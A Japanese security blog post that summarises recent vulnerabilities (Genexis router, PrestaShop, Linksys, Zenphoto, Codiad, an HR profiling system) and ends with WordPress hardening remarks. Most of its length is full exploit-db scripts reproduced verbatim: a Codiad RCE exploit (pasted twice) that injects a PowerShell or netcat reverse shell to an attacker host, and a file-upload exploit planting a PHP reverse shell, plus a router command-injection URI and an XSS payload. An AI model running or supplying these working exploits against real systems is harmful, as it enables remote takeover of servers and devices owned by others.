Blogブログ

2021.06.03

最近世界で発見されたセキュリティ警告(2021.5)<うに

今回は最新のセキュリティ警告を書いていこうと思います。

ここ3ヶ月でグローバルで見つかった新しいセキュリティホール。
WAF等をいれることで防ぐことができます。
AWSのELBのAWFなんかでもいいのですが、cloudbricさんなんかもおすすめです

セキュリティ警告1

Genexis PLATINUM 4410 2.1 P4410-V2-1.28 デバイスで、
sys_config_valid へのシェルメタ文字(例:「sys _config_valid.xgi?exeshell=`telnetd &`」で表示されるURI)を介した遠隔攻撃者の任意コード実行攻撃が許可さ れてしまう恐れあり。
参照:https://www.exploit-db.com/exploits/49764/

Genexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the http://x.x.x.x/sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI

セキュリティ警告2

脆弱性タイプ SQLインジェクション 

PrestaShop Ver 1.7.5.0 および Ver 1.7.6.8 より前のバージョンで、位置情報のパラメータが含まれているカタ ログ製品エディションページを攻撃のターゲットとするブラインドSQLインクルージョンに対し脆弱性を持っていると報告されています(この脆弱性は、Ver 1.7.6.8 にて修正されました。 )

セキュリティ警告3

Linksys EA7500 2.0.8.194281 – 最新バージョンのSmart-Wifi ホームルータで、クロスサイトスクリプティング が発見されました。
原因は、古いバージョン(1.7.1以下・1.9.0で修正される)の jQuery(strInput)と考えられています。

参照: https://www.exploit-db.com/exploits/49708/ 

1. When logging into the router (http://LHOST or http://LHOST:10080), choose "Click Here" 
   next to "Dont Have an Account? " or Choose "click here" after "To login with your Linksys Smart Wi-Fi account", 
   you will be redirected with a login prompt with both Email Address and Password forms. 

2. Make your email address "<img src=0 onerror=alert(XSS)>" without the double quotes. 

3. Payload will be triggered when mouse is clicked anywhere within the Email Address form box or when form is submitted.

セキュリティ警告4

1.5.7より前バージョンの「Zenphoto」にて、クロスサイトスクリプティングの脆弱性が発見されました。 遠隔攻撃者が指定されていないベクターを通じ、任意のJavaScriptを注入することが許可されてしま う恐れがあります。 

セキュリティ警告5

Profiling System for Human Resource Management 1.0 – Webアプリケーションで、未認証ファイルのアップロ ードが許可され、リモートコード実行 (RCE) へ繋がる脆弱性があることが発見されました。

セキュリティ警告6

Codiad 2.8.4 – バージョン2.8.4まで、ケース「CVE-2017-11366」および「CVE-2017-15689」とは異なる、リ モートコード実行 (RCE・認証済み)の脆弱性が発見されました。

参照 https://www.exploit-db.com/exploits/49705/

#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import json
import base64
session = requests.Session()
def login(domain, username, password):
    global session
    url = domain + "/components/user/controller.php?action=authenticate"
    data = {
        "username": username,
        "password": password,
        "theme": "default",
        "language": "en"
    }
    response = session.post(url, data=data, verify=False)
    content = response.text
    print("[+] Login Content : %s" % (content))
    if 'status":"success"' in content:
        return True
def get_write_able_path(domain):
    global session
    url = domain + "/components/project/controller.php?action=get_current"
    response = session.get(url, verify=False)
    content = response.text
    print("[+] Path Content : %s" % (content))
    json_obj = json.loads(content)
    if json_obj['status'] == "success":
        return json_obj['data']['path']
    else:
        return False
def base64_encode_2_bytes(host, port):
    payload = '''
    $client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..255|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush();
    }
    $client.Close();
    '''
    result = ""
    for i in payload.replace("__HOST__", host).replace("__PORT__", str(port)):
        result += i + "\x00"
    return base64.b64encode(result.encode()).decode().replace("\n", "")
def build_powershell_payload(host, port):
    preffix = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc "
    return preffix + base64_encode_2_bytes(host, port).replace("+", "%2b")
def exploit(domain, username, password, host, port, path, platform):
    global session
    url = domain + \
        "components/filemanager/controller.php?type=1&action=search&path=%s" % (
            path)
    if platform.lower().startswith("win"):
        # new version escapeshellarg
        # escapeshellarg on windows will quote the arg with ""
        # so we need to try twice
        payload = '||%s||' % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)
        # old version escapeshellarg
        payload = '%%22||%s||' % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)
    else:
        # payload = '''SniperOJ%22%0A%2Fbin%2Fbash+-c+'sh+-i+%3E%26%2Fdev%2Ftcp%2F''' + host + '''%2F''' + port + '''+0%3E%261'%0Agrep+%22SniperOJ'''
        payload = '"%%0Anc %s %d|/bin/bash %%23' % (host, port)
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)
def promote_yes(hint):
    print(hint)
    while True:
        ans = input("[Y/n] ").lower()
        if ans == 'n':
            return False
        elif ans == 'y':
            return True
        else:
            print("Incorrect input")
def main():
    if len(sys.argv) != 7:
        print("Usage : ")
        print("        python %s [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0]))
        print("        python %s [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0]))
        print("Example : ")
        print("        python %s http://localhost/ admin admin 8.8.8.8 8888 linux" % (sys.argv[0]))
        print("        python %s http://localhost:8080/ admin admin 8.8.8.8 8888 windows" % (sys.argv[0]))
        print("Author : ")
        print("        WangYihang <wangyihanger@gmail.com>")
        exit(1)
    domain = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    host = sys.argv[4]
    port = int(sys.argv[5])
    platform = sys.argv[6]
    if platform.lower().startswith("win"):
        print("[+] Please execute the following command on your vps: ")
        print("nc -lnvp %d" % (port))
        if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
            exit(1)
    else:
        print("[+] Please execute the following command on your vps: ")
        print("echo 'bash -c \"bash -i >/dev/tcp/%s/%d 0>&1 2>&1\"' | nc -lnvp %d" % (host, port + 1, port))
        print("nc -lnvp %d" % (port + 1))
        if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
            exit(1)
    print("[+] Starting...")
    if not login(domain, username, password):
        print("[-] Login failed! Please check your username and password.")
        exit(2)
    print("[+] Login success!")
    print("[+] Getting writeable path...")
    path = get_write_able_path(domain)
    if path == False:
        print("[+] Get current path error!")
        exit(3)
    print("[+] Writeable Path : %s" % (path))
    print("[+] Sending payload...")
    exploit(domain, username, password, host, port, path, platform)
    print("[+] Exploit finished!")
    print("[+] Enjoy your reverse shell!")
if __name__ == "__main__":
    main()

セキュリティ警告7

Profiling System for Human Resource Management 1.0 – Webアプリケーションで、未認証ファイルのアップロ ードが許可され、リモートコード実行 (RCE) へ繋がる脆弱性があることが発見されました。 

参照 https://www.exploit-db.com/exploits/49672/

#!/usr/bin/python3
import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
  random_number = str(random.randint(100000000,999999999))
  file_name = random_number + "shell.php"
  revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
  m = MultipartEncoder(fields={'upload': '', 'per_file': (file_name, revshell_string, 'application/x-php')})
  print("(+) Uploading php reverse shell file ..")
  r1 = requests.post('http://{}/ProfilingSystem/add_file_query.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
  if not "Sorry, there was an error uploading your file." in r1.text:
    print("(+) File uploaded to: http://{}/ProfilingSystem/uploads/{}".format(target_ip,file_name))
    return file_name
  else:
    print("(-) Oh noes, error occured while uploading the file.. quitting!")
    exit()

def trigger_shell(target_ip, target_file_name):
  url = 'http://{}/ProfilingSystem/uploads/{}'.format(target_ip, target_file_name)
  print("(+) Now trying to trigger our shell..")
  r2 = requests.get(url)
  if r2.status_code != 200:
    print("(-) Oh noes, we can't reach the uploaded file.. did it upload correctly?! Quitting!")
    exit()
  else:
    return None

def main():
  if len(sys.argv) != 4:
    print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
    print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])
    sys.exit(-1)

  print("--- Exploiting today: Profiling System for Human Resource Management 1.0 ---")
  print("----------------------------------------------------------------------------")
  target_ip = sys.argv[1]
  attacker_ip = sys.argv[2]
  attacker_port = sys.argv[3]

  target_file_name = file_upload(target_ip, attacker_ip, attacker_port)
  trigger_shell(target_ip, target_file_name)

  print("(+) done!")

if __name__ == "__main__":
  main()
            

セキュリティ警告8

Codiad 2.8.4 – バージョン2.8.4まで、ケース「CVE-2017-11366」および「CVE-2017-15689」とは異なる、リ モートコード実行 (RCE・認証済み)の脆弱性が発見されました。 

参照 https://www.exploit-db.com/exploits/49705/


#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import json
import base64
session = requests.Session()
def login(domain, username, password):
    global session
    url = domain + "/components/user/controller.php?action=authenticate"
    data = {
        "username": username,
        "password": password,
        "theme": "default",
        "language": "en"
    }
    response = session.post(url, data=data, verify=False)
    content = response.text
    print("[+] Login Content : %s" % (content))
    if 'status":"success"' in content:
        return True
def get_write_able_path(domain):
    global session
    url = domain + "/components/project/controller.php?action=get_current"
    response = session.get(url, verify=False)
    content = response.text
    print("[+] Path Content : %s" % (content))
    json_obj = json.loads(content)
    if json_obj['status'] == "success":
        return json_obj['data']['path']
    else:
        return False
def base64_encode_2_bytes(host, port):
    payload = '''
    $client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..255|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush();
    }
    $client.Close();
    '''
    result = ""
    for i in payload.replace("__HOST__", host).replace("__PORT__", str(port)):
        result += i + "\x00"
    return base64.b64encode(result.encode()).decode().replace("\n", "")
def build_powershell_payload(host, port):
    preffix = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc "
    return preffix + base64_encode_2_bytes(host, port).replace("+", "%2b")
def exploit(domain, username, password, host, port, path, platform):
    global session
    url = domain + \
        "components/filemanager/controller.php?type=1&action=search&path=%s" % (
            path)
    if platform.lower().startswith("win"):
        # new version escapeshellarg
        # escapeshellarg on windows will quote the arg with ""
        # so we need to try twice
        payload = '||%s||' % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)
        # old version escapeshellarg
        payload = '%%22||%s||' % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)
    else:
        # payload = '''SniperOJ%22%0A%2Fbin%2Fbash+-c+'sh+-i+%3E%26%2Fdev%2Ftcp%2F''' + host + '''%2F''' + port + '''+0%3E%261'%0Agrep+%22SniperOJ'''
        payload = '"%%0Anc %s %d|/bin/bash %%23' % (host, port)
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)
def promote_yes(hint):
    print(hint)
    while True:
        ans = input("[Y/n] ").lower()
        if ans == 'n':
            return False
        elif ans == 'y':
            return True
        else:
            print("Incorrect input")
def main():
    if len(sys.argv) != 7:
        print("Usage : ")
        print("        python %s [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0]))
        print("        python %s [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0]))
        print("Example : ")
        print("        python %s http://localhost/ admin admin 8.8.8.8 8888 linux" % (sys.argv[0]))
        print("        python %s http://localhost:8080/ admin admin 8.8.8.8 8888 windows" % (sys.argv[0]))
        print("Author : ")
        print("        WangYihang <wangyihanger@gmail.com>")
        exit(1)
    domain = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    host = sys.argv[4]
    port = int(sys.argv[5])
    platform = sys.argv[6]
    if platform.lower().startswith("win"):
        print("[+] Please execute the following command on your vps: ")
        print("nc -lnvp %d" % (port))
        if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
            exit(1)
    else:
        print("[+] Please execute the following command on your vps: ")
        print("echo 'bash -c \"bash -i >/dev/tcp/%s/%d 0>&1 2>&1\"' | nc -lnvp %d" % (host, port + 1, port))
        print("nc -lnvp %d" % (port + 1))
        if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
            exit(1)
    print("[+] Starting...")
    if not login(domain, username, password):
        print("[-] Login failed! Please check your username and password.")
        exit(2)
    print("[+] Login success!")
    print("[+] Getting writeable path...")
    path = get_write_able_path(domain)
    if path == False:
        print("[+] Get current path error!")
        exit(3)
    print("[+] Writeable Path : %s" % (path))
    print("[+] Sending payload...")
    exploit(domain, username, password, host, port, path, platform)
    print("[+] Exploit finished!")
    print("[+] Enjoy your reverse shell!")
if __name__ == "__main__":
    main()

治安悪し。

ちなみにPHP開発で小さなブログやHPに使われるWordpressですが、
技術者が中規模開発に使いたかがらない理由は(そもそもその仕様から中規模開発に向いていないというのが8割を占めますけど、加えて)その脆弱性や、
技術者が気をつけても運用でセキュリティホールが生まれて突かれるというところにもあります。
管理者ログインのURLがデフォルトでbasic認証もつけていないというケースや、あまりDBの扱いが慣れていない人はphpMyAdminに普通にアクセスできる状態にしてしまっている(これはありえないですけど)ことがあることや、
ソースコードの権限が編集可能になっていたりすることでスクリプトを埋められる状態になっていたり、xmlをgoogleのサイトマップに送るプラグインを使っていて違うURLにされて送られてしまったり、DBがうっかりデフォルトでroot root等で開発してしまっていたり(新人やオフショアで)、こういう簡単にできるがゆえにセキュリティホールが生まれやすいため、避けられるということもひとつ理由にあります。

ではまた。